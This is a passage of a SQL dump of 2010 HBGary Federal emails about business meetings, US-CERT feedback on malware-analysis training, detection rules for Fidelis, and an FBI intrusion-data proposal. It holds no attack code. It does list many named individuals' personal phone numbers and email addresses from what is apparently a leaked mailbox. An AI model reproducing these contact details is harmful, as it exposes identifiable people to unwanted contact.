Discussions','Aaron, what a pleasure to meet you (again, smile) after so many years. You clearly done well for yourself. \r\n\r\nSimone, would you pls set up a meeting with Aaron, Steve Korns and David Gertler and myself in AJ. It will be small capabilities review of HBGARY and then a conceptual discussion of what a Cyber Dev and Training Center might consist of. \r\n\r\nAaron, I look fwd to seeing you. \r\n\r\nBest, Alex\r\n\r\nRADM Alex Miller USN (Ret)\r\nSVP and General Manager, Intelligence Solutions Business Unit\r\nL-3 STRATIS \"Powered by Excellence\"\r\n2720 Technology Dr.\r\nAnnapolis Junction, MD. 20701\r\n(301) 575-2801 Office\r\n(443) 695-1232 Cell\r\n(301) 575-3506 Fax\r\nalexander.miller@l-3com.com\r\n\r\n\r\n-----Original Message-----\r\nFrom: aaron@hbgary.com [mailto:aaron@hbgary.com] \r\nSent: Tuesday, August 03, 2010 11:00 AM\r\nTo: Miller, Alexander A @ STRATIS\r\nSubject: Discussions\r\n\r\nAlex,\r\n\r\nVery good to meet with you today.  Now I am going to have to go through all my old photos i think I have a picture of you giving me an award of some sort.  Takes me back.  I think i may be a good example of the enlisted training available in the services.\r\n\r\n\r\nI would like to come in and talk cyber and see if I can provide some assistance.  I have been looking at the national problem for some time so certainly know where it\'s broken but i also think we have some ideas on how to improve our capabilities.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal LLC\r\n719.510.8478 \r\n\r\nSent from my iPad\r\n',14941,'aaron_hbgary_com/14941.html'),(9526,'2010-08-03','\"Aaron barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007329.M676276P14101Q4381.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Fwd: Discussions','Anything specific u want me to hit?AaronSent from my iPadBegin forwarded message:From: alexander.miller@l-3com.comDate: August 3, 2010 11:32:56 AM EDTTo: &lt;aaron@hbgary.com&gt;, \"Hasson, Simone @ STRATIS\" &lt;simone.hasson@l-3com.com&gt;Subject: RE: DiscussionsAaron, what a pleasure to meet you (again, smile) after so many years. You clearly done well for yourself. Simone, would you pls set up a meeting with Aaron, Steve Korns and David Gertler and myself in AJ. It will be small capabilities review of HBGARY and then a conceptual discussion of what a Cyber Dev and Training Center might consist of. Aaron, I look fwd to seeing you. Best, AlexRADM Alex Miller USN (Ret)SVP and General Manager, Intelligence Solutions Business UnitL-3 STRATIS \"Powered by Excellence\"2720 Technology Dr.Annapolis Junction, MD. 20701(301) 575-2801&nbsp;Office(443) 695-1232 Cell(301) 575-3506 Faxalexander.miller@l-3com.com-----Original Message-----From: aaron@hbgary.com [mailto:aaron@hbgary.com] Sent: Tuesday, August 03, 2010 11:00 AMTo: Miller, Alexander A @ STRATISSubject: DiscussionsAlex,Very good to meet with you today. &nbsp;Now I am going to have to go through all my old photos i think I have a picture of you giving me an award of some sort. &nbsp;Takes me back. &nbsp;I think i may be a good example of the enlisted training available in the services.I would like to come in and talk cyber and see if I can provide some assistance. &nbsp;I have been looking at the national problem for some time so certainly know where it\'s broken but i also think we have some ideas on how to improve our capabilities.Aaron BarrCEOHBGary Federal LLC719.510.8478 Sent from my iPad',2220,'aaron_hbgary_com/2220.html'),(9527,'2010-08-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007329.M883647P14101Q4382.eml','\"Eric Eifert\" <eric.eifert@mantech.com>','Thursday','Eric,\r\n\r\nAlso I am meeting with Bob on Thursday.  Do you want to get together this week and talk about social media?\r\n\r\nAaron\r\n\r\nSent from my iPhone',13640,'aaron_hbgary_com/13640.html'),(9528,'2010-08-03','\"Aaron barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007330.M199775P14101Q4383.eml','\"Mancini, Jerry\" <jerry.mancini@fidelissecurity.com>','Re: Fidelis Discussion','Hi Jerry,\r\n\r\nSure.  We do a decent amount of incident response work so we have on the ground knowledge of the threat space, and there are a default set of rules that would be helpful to build to take some action.  Attachments with certain characteristics.  IP traffic from suspicious or known malicious sources.  Suspicious traffic patterns or traffic content.  This would be based on our knowledge of the threat space.  I strongly believe eventually we can automate some of the rules generation based on other source collection, whether that be through HBG Active Defense or other source but we can manually generate those to start.  We can build those rules just don\'t have the budget to do so at the moment.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Aug 2, 2010, at 6:12 PM, \"Mancini, Jerry\"  wrote:\r\n\r\n> Hi Aaron,\r\n> \r\n> I\'m away on vacation this week - due back next Monday. \r\n> \r\n> I\'d like to know the details behind the missing rules and see what we\r\n> can do. When you say \"developing a set of default rules\" - can you\r\n> elaborate?\r\n> \r\n> Thanks,\r\n> Jerry\r\n> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Monday, August 02, 2010 2:25 PM\r\n>> To: Mancini, Jerry\r\n>> Subject: Fidelis Discussion\r\n>> \r\n>> Hi Jerry,\r\n>> \r\n>> Just getting back from Vegas and processing a lot of good contacts and\r\n>> feedback.\r\n>> \r\n>> Lots of general interest related to Fidelis and HBGary integration.\r\n>> Lots of interest on Fidelis use being able to do session\r\n> reconstruction\r\n>> and some analysis.  But the lack of base and generated rules tend to\r\n>> put the box right back into the strict DLP rather than the larger\r\n>> perimeter defense category.  I had a brief conversation with Mary out\r\n>> there on this.  Is there any internal momentum or interest in\r\n>> developing a set of default rules?  Our plan is to eventually work on\r\n>> what it might look like to generate rules using Active Defense hashs\r\n>> but we haven\'t got their yet, just don\'t have the manpower right now\r\n> to\r\n>> do it.  We know its very possible and are pitching the combined\r\n>> capability as an offering, its just slow.\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n> \r\n',13377,'aaron_hbgary_com/13377.html'),(9529,'2010-08-03','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297007330.M604460P14101Q4384.eml','\"Aaron Barr\" <aaron@hbgary.com>','Fwd: HBGary Training Feedback','Response from US-CERT below -- we will schedule meeting for Sept 7...  it is important for 1 person to understand that DDNA is not detecting, the training sucks and I will talk to Charles about the support issue.  Charles overall does a great job.\r\n\r\n \r\nRe: the training -- this is a continuous problem -- lengthening the class is Jim&#39;s solution but it won&#39;t solve the problem.  I need to send Phil in there for another day..... when he has time :)\r\n \r\n \r\n \r\n---------- Forwarded message ----------From: &lt;Sean.Sobieraj@us-cert.gov&gt;Date: Tue, Aug 3, 2010 at 6:06 AM\r\nSubject: HBGary Training FeedbackTo: maria@hbgary.comCc: Byron.Copeland@us-cert.govMaria,Here&#39;s some feedback regarding the Responder Pro training:\r\n- The instructor was very knowledgeable and helpful, however there wasnot enough time to cover all the material.  What we did cover was rushedand other sections were omitted entirely.- There was no thorough review of the lab exercises.  For some we were\r\nprovided the correct answers and the rest we did not review at all.- It was not clear what level of experience was expected by thestudents.  There were many with little knowledge of malware analysis whohad a hard time following the material, and didn&#39;t understand why you\r\nwould look some places for information and what made it significant.- Students had to spend time installing programs and updates andfiguring out how to disable the AV after we determined it was corruptingthe lab files.  This took away from the time doing analysis.\r\n- The multiple choice quizzes in the lecture material were not helpful.- Although more of an admin issue, the directions to the class had usreport to a classroom in a different building that apparently had not\r\nbeen used for this training in some time.Some suggestions:- Increase the length of the course to allow sufficient time for reviewand discussion of the material.  (I heard it was changed to 3 days.)- Increase the hands-on time so the lab exercises equal or exceed the\r\nlecture time.- Step through an entire analysis, including compiling the data into areport.  A more linear approach to analysis with somewhat of a decisiontree like you mentioned might help people understand the process as it\r\nrelates to Responder Pro when first being introduced to it.- Possibly allow an opportunity to analyze malware samples provided bythe students, with the students collaborating on the analysis and usingthe techniques taught in class.\r\n- A performance evaluation at the conclusion of training.  Not multiplechoice questions, but a sample requiring analysis, with a passing gradebeing a report with the required information.As a result of the lack of review and discussion, and omitted lecture\r\nmaterial, the class was of little value and didn&#39;t not significantlycontribute to our ability to use Responder Pro for malware analysis.Unrelated to the class, an analyst here had a poor experience with\r\nHBGary&#39;s technical support.  This person never received an email or callabout the ticket (#394) until after receiving a notification that it hadbeen closed without the problem being resolved.  I believe the issue was\r\naddressed at the class.Regarding the Threat Management Center demo, how does early Septembersound?  Maybe sometime after 10am on September 7th?Thanks,Sean\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n',2820,'aaron_hbgary_com/2820.html'),(9530,'2010-08-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007331.M669823P14101Q4386.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: HBGary Training Feedback','Sent from my iPhoneBegin forwarded message:From: Maria Lucas &lt;maria@hbgary.com&gt;Date: August 3, 2010 12:02:41 PM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Fwd: HBGary Training FeedbackResponse from US-CERT below -- we will schedule meeting for Sept 7...&nbsp; it is important for 1 person to understand that DDNA is not detecting, the training sucks and I will talk to Charles about the support issue.&nbsp; Charles overall does a great job.\r\n\r\n&nbsp;\r\nRe: the training -- this is a continuous problem -- lengthening the class is Jim\'s solution but it won\'t solve the problem.&nbsp; I need to send Phil in there for another day..... when he has time :)\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n---------- Forwarded message ----------From: &lt;Sean.Sobieraj@us-cert.gov&gt;Date: Tue, Aug 3, 2010 at 6:06 AM\r\nSubject: HBGary Training FeedbackTo: maria@hbgary.comCc: Byron.Copeland@us-cert.govMaria,Here\'s some feedback regarding the Responder Pro training:\r\n- The instructor was very knowledgeable and helpful, however there wasnot enough time to cover all the material. &nbsp;What we did cover was rushedand other sections were omitted entirely.- There was no thorough review of the lab exercises. &nbsp;For some we were\r\nprovided the correct answers and the rest we did not review at all.- It was not clear what level of experience was expected by thestudents. &nbsp;There were many with little knowledge of malware analysis whohad a hard time following the material, and didn\'t understand why you\r\nwould look some places for information and what made it significant.- Students had to spend time installing programs and updates andfiguring out how to disable the AV after we determined it was corruptingthe lab files. &nbsp;This took away from the time doing analysis.\r\n- The multiple choice quizzes in the lecture material were not helpful.- Although more of an admin issue, the directions to the class had usreport to a classroom in a different building that apparently had not\r\nbeen used for this training in some time.Some suggestions:- Increase the length of the course to allow sufficient time for reviewand discussion of the material. &nbsp;(I heard it was changed to 3 days.)- Increase the hands-on time so the lab exercises equal or exceed the\r\nlecture time.- Step through an entire analysis, including compiling the data into areport. &nbsp;A more linear approach to analysis with somewhat of a decisiontree like you mentioned might help people understand the process as it\r\nrelates to Responder Pro when first being introduced to it.- Possibly allow an opportunity to analyze malware samples provided bythe students, with the students collaborating on the analysis and usingthe techniques taught in class.\r\n- A performance evaluation at the conclusion of training. &nbsp;Not multiplechoice questions, but a sample requiring analysis, with a passing gradebeing a report with the required information.As a result of the lack of review and discussion, and omitted lecture\r\nmaterial, the class was of little value and didn\'t not significantlycontribute to our ability to use Responder Pro for malware analysis.Unrelated to the class, an analyst here had a poor experience with\r\nHBGary\'s technical support. &nbsp;This person never received an email or callabout the ticket (#394) until after receiving a notification that it hadbeen closed without the problem being resolved. &nbsp;I believe the issue was\r\naddressed at the class.Regarding the Threat Management Center demo, how does early Septembersound? &nbsp;Maybe sometime after 10am on September 7th?Thanks,Sean\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n&nbsp;&nbsp;\r\n',43,'aaron_hbgary_com/43.html'),(9531,'2010-08-03','aaron@hbgary.com','/aaron@hbgary.com/new/1297007331.M93553P14101Q4385.eml','\"Jeffrey J Guy\" <Jeffrey.Guy@ManTech.com>','Discussion','Hey JJ\r\n\r\nAny availability to meet this week?  I am meeting with Bob on thursday.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n',2983,'aaron_hbgary_com/2983.html'),(9532,'2010-08-03','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297007331.M969397P14101Q4387.eml','\"Phil Wallisch\" <phil@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>','Fwd: HBGary Training Feedback','Phil\r\n \r\nThe training we did at USCERT was not effective.  They are also getting no red and orange scores on their malware samples.  When do you think you could go back to the USCERT for 1/2 day training and working with them in the lab?\r\n\r\n \r\nMy goal is to sell them TMC and I think to do that we need to fix address the issues they pointed out and demonstrate our commitment to customers.  Not only that Byron Copeland reports to Randy Vickers and we need to impress him.\r\n\r\n \r\nMaria\r\n---------- Forwarded message ----------From: &lt;Sean.Sobieraj@us-cert.gov&gt;Date: Tue, Aug 3, 2010 at 6:06 AM\r\nSubject: HBGary Training FeedbackTo: maria@hbgary.comCc: Byron.Copeland@us-cert.govMaria,Here&#39;s some feedback regarding the Responder Pro training:\r\n- The instructor was very knowledgeable and helpful, however there wasnot enough time to cover all the material.  What we did cover was rushedand other sections were omitted entirely.- There was no thorough review of the lab exercises.  For some we were\r\nprovided the correct answers and the rest we did not review at all.- It was not clear what level of experience was expected by thestudents.  There were many with little knowledge of malware analysis whohad a hard time following the material, and didn&#39;t understand why you\r\nwould look some places for information and what made it significant.- Students had to spend time installing programs and updates andfiguring out how to disable the AV after we determined it was corruptingthe lab files.  This took away from the time doing analysis.\r\n- The multiple choice quizzes in the lecture material were not helpful.- Although more of an admin issue, the directions to the class had usreport to a classroom in a different building that apparently had not\r\nbeen used for this training in some time.Some suggestions:- Increase the length of the course to allow sufficient time for reviewand discussion of the material.  (I heard it was changed to 3 days.)- Increase the hands-on time so the lab exercises equal or exceed the\r\nlecture time.- Step through an entire analysis, including compiling the data into areport.  A more linear approach to analysis with somewhat of a decisiontree like you mentioned might help people understand the process as it\r\nrelates to Responder Pro when first being introduced to it.- Possibly allow an opportunity to analyze malware samples provided bythe students, with the students collaborating on the analysis and usingthe techniques taught in class.\r\n- A performance evaluation at the conclusion of training.  Not multiplechoice questions, but a sample requiring analysis, with a passing gradebeing a report with the required information.As a result of the lack of review and discussion, and omitted lecture\r\nmaterial, the class was of little value and didn&#39;t not significantlycontribute to our ability to use Responder Pro for malware analysis.Unrelated to the class, an analyst here had a poor experience with\r\nHBGary&#39;s technical support.  This person never received an email or callabout the ticket (#394) until after receiving a notification that it hadbeen closed without the problem being resolved.  I believe the issue was\r\naddressed at the class.Regarding the Threat Management Center demo, how does early Septembersound?  Maybe sometime after 10am on September 7th?Thanks,Sean\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n',14042,'aaron_hbgary_com/14042.html'),(9533,'2010-08-03','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007332.M333772P14101Q4388.eml','\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com','Mandatory Training - Testing the System...','Please register for Basic Malware Analysis on Tuesday, August 3, 2010\r\n1:00 PM - 2:00 PM MDT at:\r\n\r\nhttp://training.hbgaryfederal.com\r\n\r\nCPE Credits: 16\r\nLevel: Introductory\r\nPrerequisites: Basic computer skills. No prior experience in software\r\nreverse engineering is necessary.\r\nThis hands-on course provides in-depth coverage of HBGary Responder\r\nfor live memory analysis, incident response, and binary forensics.\r\nParticipants use Responder in real-life situations to obtain and\r\nanalyze a variety of digital evidence from suspect machines.\r\nParticipants extract binaries from memory images and analyze them\r\ngraphically to quickly ascertain malicious capabilities and response\r\nstrategies.\r\nWhat Will You Learn?\r\nComprehensive knowledge of and experience with the HBGary Responder\r\ntool for use in effective live Windows physical memory forensics and\r\nincident response\r\nMethods for preserving live memory and analyzing memory snapshots\r\nHow to search the memory heaps and stacks for evidentiary artifacts\r\nCurrent trends in malicious attacks and how HBGary Responder is\r\nadapting to address them\r\nIdentification, diagnosis and triage of malware\r\nAdvanced techniques to capture transient code and data using HBGary Flypaper\r\nCapturing the dropper application and subsequent launch of child processes\r\nCapturing file and registry key access\r\nCapturing DLL injection and thread injection\r\nDetecting multi-threaded data hand-off points\r\nApproaches to extending HBGary Responder’s functionality via plug-ins\r\nand heuristic rules\r\nAnti-detection techniques\r\nWho Should Attend?\r\nOwners of HBGary Responder who want to increase their effectiveness\r\nwith the tool\r\nSystem administrators and incident-handling personnel who are trying\r\nto further their knowledge in the latest forensic techniques\r\nAnyone who wants to understand the technical side of incident response\r\nand memory forensics\r\nAnyone who wants to learn how to collect evidence and analyze live\r\nWindows systems\r\nParticipants may have minimal computer skills and may be new to the\r\nfield of incident response or malware analysis.\r\n\r\nAfter registering you will receive a confirmation email containing\r\ninformation about joining the training.\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',15302,'aaron_hbgary_com/15302.html'),(9534,'2010-08-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007332.M946620P14101Q4389.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>','Re: HBGary Training Feedback','Phil,When you do this if it\'s ok I would lime to go with you.AaronSent from my iPhoneOn Aug 3, 2010, at 12:05 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:Phil\r\n&nbsp;\r\nThe training we did at USCERT was not effective.&nbsp; They are also getting no red and orange scores on their malware samples.&nbsp; When do you think you could go back to the USCERT for 1/2 day training and working with them in the lab?\r\n\r\n&nbsp;\r\nMy goal is to sell them TMC and I think to do that we need to fix address the issues they pointed out and demonstrate our commitment to customers.&nbsp; Not only that Byron Copeland reports to Randy Vickers and we need to impress him.\r\n\r\n&nbsp;\r\nMaria\r\n---------- Forwarded message ----------From: &lt;Sean.Sobieraj@us-cert.gov&gt;Date: Tue, Aug 3, 2010 at 6:06 AM\r\nSubject: HBGary Training FeedbackTo: maria@hbgary.comCc: Byron.Copeland@us-cert.govMaria,Here\'s some feedback regarding the Responder Pro training:\r\n- The instructor was very knowledgeable and helpful, however there wasnot enough time to cover all the material. &nbsp;What we did cover was rushedand other sections were omitted entirely.- There was no thorough review of the lab exercises. &nbsp;For some we were\r\nprovided the correct answers and the rest we did not review at all.- It was not clear what level of experience was expected by thestudents. &nbsp;There were many with little knowledge of malware analysis whohad a hard time following the material, and didn\'t understand why you\r\nwould look some places for information and what made it significant.- Students had to spend time installing programs and updates andfiguring out how to disable the AV after we determined it was corruptingthe lab files. &nbsp;This took away from the time doing analysis.\r\n- The multiple choice quizzes in the lecture material were not helpful.- Although more of an admin issue, the directions to the class had usreport to a classroom in a different building that apparently had not\r\nbeen used for this training in some time.Some suggestions:- Increase the length of the course to allow sufficient time for reviewand discussion of the material. &nbsp;(I heard it was changed to 3 days.)- Increase the hands-on time so the lab exercises equal or exceed the\r\nlecture time.- Step through an entire analysis, including compiling the data into areport. &nbsp;A more linear approach to analysis with somewhat of a decisiontree like you mentioned might help people understand the process as it\r\nrelates to Responder Pro when first being introduced to it.- Possibly allow an opportunity to analyze malware samples provided bythe students, with the students collaborating on the analysis and usingthe techniques taught in class.\r\n- A performance evaluation at the conclusion of training. &nbsp;Not multiplechoice questions, but a sample requiring analysis, with a passing gradebeing a report with the required information.As a result of the lack of review and discussion, and omitted lecture\r\nmaterial, the class was of little value and didn\'t not significantlycontribute to our ability to use Responder Pro for malware analysis.Unrelated to the class, an analyst here had a poor experience with\r\nHBGary\'s technical support. &nbsp;This person never received an email or callabout the ticket (#394) until after receiving a notification that it hadbeen closed without the problem being resolved. &nbsp;I believe the issue was\r\naddressed at the class.Regarding the Threat Management Center demo, how does early Septembersound? &nbsp;Maybe sometime after 10am on September 7th?Thanks,Sean\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n&nbsp;&nbsp;\r\n',12935,'aaron_hbgary_com/12935.html'),(9535,'2010-08-03','aaron@hbgary.com','/aaron@hbgary.com/new/1297007333.M684226P14101Q4390.eml','\"Bill Varner\" <Bill.Varner@ManTech.com>','Further discussions','Hi Bill,\r\n\r\nAs we discussed i am following up with a note to get in your calendar to continue our discussion.\r\n\r\nAaron\r\n\r\nSent from my iPad',13661,'aaron_hbgary_com/13661.html'),(9536,'2010-08-03','\"Aaron barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007333.M989631P14101Q4391.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: Global Cyber-Threat Consortium','I would like to participate if possible. &nbsp;Should i reach out directly or allow u to make an intro?AaronSent from my iPadOn Jul 29, 2010, at 8:35 PM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:FYI\r\n&nbsp;\r\n---------- Forwarded message ----------From: Borhani, Roozbeh &lt;Roozbeh.Borhani@ic.fbi.gov&gt;\r\nDate: Thu, Jul 29, 2010 at 1:53 PMSubject: Global Cyber-Threat ConsortiumTo: \"greg@hbgary.com\" &lt;greg@hbgary.com&gt;, \"martin@hbgary.com\" &lt;martin@hbgary.com&gt;\r\nHi Greg/Martin,Hopefully everything is going well at Blackhat and thanks again for taking time to sit down with us to discuss the Cyber Terrorism Conference.I\'ve actually been working on establishing a process of allowing for the exchange of intrusion datasets between the FBI and UC Davis for several months now.\r\nThe problem, as you already specified, is that there is no central organization (including government) responsible for the collection of intrusion data; &nbsp;DHS did initiate a project but it died out couple of years ago.\r\nHowever, we may be in position to initiate this concept locally, using our Infragard members and/or victims as our test pilot. &nbsp;If this proves to be successful, we can push this to become a national initiative.\r\nThere will be a significant trust issue with individuals turning over this type of data. &nbsp;To make this happen, we would need to have a strategy to mitigate their concerns.I don\'t know if you guys are available on August 16th, @ 11:00 AM, but I\'m meeting with UC Davis on a number of projects; this may be a good opportunity to share with you everything we have so far.\r\nThanks...AlexSacramento FBI916-977-2251\r\n',10998,'aaron_hbgary_com/10998.html'),(9537,'2010-08-03','\"Aaron barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007334.M560312P14101Q4392.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Re: Introduction - Boeing and HBGary Federal','Catching up after Blackhat.Dave would you like to schedule a time to get together?AaronSent from my iPadOn Jul 29, 2010, at 4:40 PM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nDavid and Aaron,\r\n\r\n&nbsp;\r\n\r\nLooks like the two of you will have mutual interests…..\r\n\r\n&nbsp;\r\n\r\nAaron Barr / 719-510-8478 / aaron@hbgary.com\r\n\r\nDavid Rundle / 301-497-2841 / M 443-534-7655 / david.j.rundle2@boeing.com \r\n\r\n&nbsp;\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp; bob@hbgary.com\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9315,'aaron_hbgary_com/9315.html'),(9538,'2010-08-03','\"Sullivan, Mary\" <mary.sullivan@fidelissecurity.com>','/aaron@hbgary.com/new/1297007335.M752144P14101Q4393.eml','\"Aaron barr\" <aaron@hbgary.com>','RE: Fidelis Discussion','Beyootiful. Perfetto. Bet this is winging its way through Fidelis right\r\nnow.\r\n\r\nMary Sullivan\r\nD 240-396-2446\r\nM 301-980-1308\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, August 03, 2010 11:58 AM\r\nTo: Mancini, Jerry\r\nSubject: Re: Fidelis Discussion\r\n\r\nHi Jerry,\r\n\r\nSure.  We do a decent amount of incident response work so we have on the\r\nground knowledge of the threat space, and there are a default set of\r\nrules that would be helpful to build to take some action.  Attachments\r\nwith certain characteristics.  IP traffic from suspicious or known\r\nmalicious sources.  Suspicious traffic patterns or traffic content.\r\nThis would be based on our knowledge of the threat space.  I strongly\r\nbelieve eventually we can automate some of the rules generation based on\r\nother source collection, whether that be through HBG Active Defense or\r\nother source but we can manually generate those to start.  We can build\r\nthose rules just don\'t have the budget to do so at the moment.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Aug 2, 2010, at 6:12 PM, \"Mancini, Jerry\"\r\n wrote:\r\n\r\n> Hi Aaron,\r\n> \r\n> I\'m away on vacation this week - due back next Monday. \r\n> \r\n> I\'d like to know the details behind the missing rules and see what we\r\n> can do. When you say \"developing a set of default rules\" - can you\r\n> elaborate?\r\n> \r\n> Thanks,\r\n> Jerry\r\n> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Monday, August 02, 2010 2:25 PM\r\n>> To: Mancini, Jerry\r\n>> Subject: Fidelis Discussion\r\n>> \r\n>> Hi Jerry,\r\n>> \r\n>> Just getting back from Vegas and processing a lot of good contacts\r\nand\r\n>> feedback.\r\n>> \r\n>> Lots of general interest related to Fidelis and HBGary integration.\r\n>> Lots of interest on Fidelis use being able to do session\r\n> reconstruction\r\n>> and some analysis.  But the lack of base and generated rules tend to\r\n>> put the box right back into the strict DLP rather than the larger\r\n>> perimeter defense category.  I had a brief conversation with Mary out\r\n>> there on this.  Is there any internal momentum or interest in\r\n>> developing a set of default rules?  Our plan is to eventually work on\r\n>> what it might look like to generate rules using Active Defense hashs\r\n>> but we haven\'t got their yet, just don\'t have the manpower right now\r\n> to\r\n>> do it.  We know its very possible and are pitching the combined\r\n>> capability as an offering, its just slow.\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n> \r\n',5094,'aaron_hbgary_com/5094.html'),(9539,'2010-08-03','\"Guy, Jeffrey J\" <Jeffrey.Guy@ManTech.com>','/aaron@hbgary.com/new/1297007336.M315948P14101Q4395.eml','aaron@hbgary.com','RE: Discussion','Yessir.  what time are you meeting with bob?  We can block out time\r\nbefore/after to save the travel time.   JJ\r\n\r\n-----Original Message-----\r\nFrom: aaron@hbgary.com [mailto:aaron@hbgary.com] \r\nSent: Tuesday, August 03, 2010 12:03 PM\r\nTo: Guy, Jeffrey J\r\nSubject: Discussion\r\n\r\nHey JJ\r\n\r\nAny availability to meet this week?  I am meeting with Bob on thursday.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n',15536,'aaron_hbgary_com/15536.html'),(9540,'2010-08-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007336.M42184P14101Q4394.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Fidelis Discussion','Sent from my iPhoneBegin forwarded message:From: \"Sullivan, Mary\" &lt;mary.sullivan@fidelissecurity.com&gt;Date: August 3, 2010 12:12:18 PM EDTTo: \"Aaron barr\" &lt;aaron@hbgary.com&gt;Subject: RE: Fidelis DiscussionBeyootiful. Perfetto. Bet this is winging its way through Fidelis rightnow.Mary SullivanD 240-396-2446M 301-980-1308-----Original Message-----From: Aaron barr [mailto:aaron@hbgary.com] Sent: Tuesday, August 03, 2010 11:58 AMTo: Mancini, JerrySubject: Re: Fidelis DiscussionHi Jerry,Sure. &nbsp;We do a decent amount of incident response work so we have on theground knowledge of the threat space, and there are a default set ofrules that would be helpful to build to take some action. &nbsp;Attachmentswith certain characteristics. &nbsp;IP traffic from suspicious or knownmalicious sources. &nbsp;Suspicious traffic patterns or traffic content.This would be based on our knowledge of the threat space. &nbsp;I stronglybelieve eventually we can automate some of the rules generation based onother source collection, whether that be through HBG Active Defense orother source but we can manually generate those to start. &nbsp;We can buildthose rules just don\'t have the budget to do so at the moment.AaronSent from my iPadOn Aug 2, 2010, at 6:12 PM, \"Mancini, Jerry\"&lt;jerry.mancini@fidelissecurity.com&gt; wrote:Hi Aaron,I\'m away on vacation this week - due back next Monday. I\'d like to know the details behind the missing rules and see what wecan do. When you say \"developing a set of default rules\" - can youelaborate?Thanks,Jerry-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com]Sent: Monday, August 02, 2010 2:25 PMTo: Mancini, JerrySubject: Fidelis DiscussionHi Jerry,Just getting back from Vegas and processing a lot of good contactsandfeedback.Lots of general interest related to Fidelis and HBGary integration.Lots of interest on Fidelis use being able to do sessionreconstructionand some analysis. &nbsp;But the lack of base and generated rules tend toput the box right back into the strict DLP rather than the largerperimeter defense category. &nbsp;I had a brief conversation with Mary outthere on this. &nbsp;Is there any internal momentum or interest indeveloping a set of default rules? &nbsp;Our plan is to eventually work onwhat it might look like to generate rules using Active Defense hashsbut we haven\'t got their yet, just don\'t have the manpower right nowtodo it. &nbsp;We know its very possible and are pitching the combinedcapability as an offering, its just slow.Aaron BarrCEOHBGary Federal Inc.',12384,'aaron_hbgary_com/12384.html'),(9541,'2010-08-03','\"Aaron barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007336.M632817P14101Q4396.eml','brian_christos@yahoo.com','Re: Dinner Last Night','Hey Brian,\r\n\r\nIt was really good to see you again.  I am sure we will see each other again soon.  How old are your twins again?  I can\'t remember exactly but i am left with the impression they are young.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Jul 29, 2010, at 12:04 PM, \"brian_christos@yahoo.com\"  wrote:\r\n\r\n> Typo\'ed your email. \r\n> Sent from my Verizon Wireless BlackBerry\r\n> \r\n> -----Original Message-----\r\n> From: brian_christos@yahoo.com\r\n> Date: Thu, 29 Jul 2010 15:39:25 \r\n> To: ; ; \r\n> Reply-To: brian_christos@yahoo.com\r\n> Subject: Dinner Last Night\r\n> \r\n> Greg, Penny, 